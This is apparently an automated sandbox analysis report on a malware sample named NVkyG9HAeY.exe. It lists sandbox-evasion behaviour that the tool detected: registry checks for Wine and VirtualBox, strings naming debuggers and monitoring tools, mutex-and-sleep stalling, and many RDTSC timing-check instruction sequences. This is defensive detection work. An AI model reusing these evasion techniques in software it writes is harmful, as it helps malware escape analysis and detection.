Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_9-160658

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-160659

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 12FE0F5 second address: 12FE0FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 12FD8B1 second address: 12FD8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1461B04 second address: 1461B12 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1473F29 second address: 1473F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1473F2D second address: 1473F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1476FEB second address: 1477036 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FF3B51FB936h 0x0000000d jno 00007FF3B51FB936h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jno 00007FF3B51FB940h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jmp 00007FF3B51FB943h 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d jns 00007FF3B51FB936h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1477132 second address: 1477139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1477139 second address: 1477158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B51FB941h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1477158 second address: 147718B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a and dl, 00000030h 0x0000000d lea ebx, dword ptr [ebp+1244CE90h] 0x00000013 mov edi, dword ptr [ebp+122D357Dh] 0x00000019 xchg eax, ebx 0x0000001a jmp 00007FF3B4EE540Ah 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 147718B second address: 1477195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14772B5 second address: 14772BF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14772BF second address: 14772E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF3B51FB936h 0x00000009 jmp 00007FF3B51FB942h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14772E3 second address: 14772E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 147732F second address: 14773C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF3B51FB943h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF3B51FB944h 0x00000011 nop 0x00000012 clc 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D2587h], edi 0x0000001b push 50FBC2F2h 0x00000020 pushad 0x00000021 js 00007FF3B51FB938h 0x00000027 push edi 0x00000028 pop edi 0x00000029 jmp 00007FF3B51FB945h 0x0000002e popad 0x0000002f xor dword ptr [esp], 50FBC272h 0x00000036 xor edi, 188DC800h 0x0000003c sub dword ptr [ebp+122D1975h], ecx 0x00000042 push 00000003h 0x00000044 add esi, dword ptr [ebp+122D2919h] 0x0000004a push 00000000h 0x0000004c or edx, 40D6928Eh 0x00000052 push 00000003h 0x00000054 and esi, 6AD4B0E6h 0x0000005a call 00007FF3B51FB939h 0x0000005f push eax 0x00000060 push edx 0x00000061 jl 00007FF3B51FB93Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14773C9 second address: 14773CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14773CD second address: 14773FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB945h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FF3B51FB93Ah 0x00000010 push ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14773FA second address: 1477415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5416h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1477415 second address: 1477435 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF3B51FB93Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jng 00007FF3B51FB942h 0x00000012 jnp 00007FF3B51FB93Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1477435 second address: 1477475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f jnl 00007FF3B4EE540Ch 0x00000015 popad 0x00000016 pop eax 0x00000017 lea ebx, dword ptr [ebp+1244CEA4h] 0x0000001d mov dx, 46BCh 0x00000021 or dword ptr [ebp+122D1B00h], ebx 0x00000027 push eax 0x00000028 pushad 0x00000029 push ebx 0x0000002a jmp 00007FF3B4EE540Ch 0x0000002f pop ebx 0x00000030 push edi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1498753 second address: 1498757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496650 second address: 1496654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496654 second address: 1496658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14967D9 second address: 14967F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jns 00007FF3B4EE5406h 0x00000010 pop edx 0x00000011 jc 00007FF3B4EE540Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496966 second address: 1496978 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FF3B51FB93Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496978 second address: 149697C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 149697C second address: 1496982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496982 second address: 1496988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496988 second address: 149698C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496DA4 second address: 1496DAA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496EF7 second address: 1496EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1496EFD second address: 1496F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 jnp 00007FF3B4EE5406h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 jo 00007FF3B4EE5425h 0x00000017 jmp 00007FF3B4EE5415h 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14971AD second address: 14971B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14971B1 second address: 14971B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 149731D second address: 1497322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 145E46A second address: 145E47D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14978BE second address: 14978E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FF3B51FB93Dh 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1497EB3 second address: 1497EB8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1497EB8 second address: 1497EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF3B51FB936h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1497EC7 second address: 1497ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1497ECB second address: 1497ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1498177 second address: 14981CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5416h 0x00000009 jns 00007FF3B4EE540Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jmp 00007FF3B4EE540Ah 0x00000017 pop ebx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007FF3B4EE5417h 0x00000020 jp 00007FF3B4EE5406h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 149834E second address: 1498354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1498354 second address: 1498371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF3B4EE5415h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1498371 second address: 1498375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 149AB82 second address: 149AB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C42 second address: 14A3C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C46 second address: 14A3C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF3B4EE5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF3B4EE5418h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jc 00007FF3B4EE5406h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C76 second address: 14A3C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C7E second address: 14A3C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C83 second address: 14A3C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3C89 second address: 14A3C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3030 second address: 14A3043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FF3B51FB93Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A31AC second address: 14A31B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3468 second address: 14A346C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3955 second address: 14A3959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A3AAA second address: 14A3ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B51FB93Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5BA8 second address: 14A5BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5BB7 second address: 14A5BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB945h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5BD0 second address: 14A5C15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007FF3B4EE540Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 push ecx 0x00000015 ja 00007FF3B4EE540Ch 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jc 00007FF3B4EE5421h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF3B4EE5413h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5EBC second address: 14A5EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A603A second address: 14A604F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF3B4EE5406h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FF3B4EE5406h 0x00000015 rdtsc
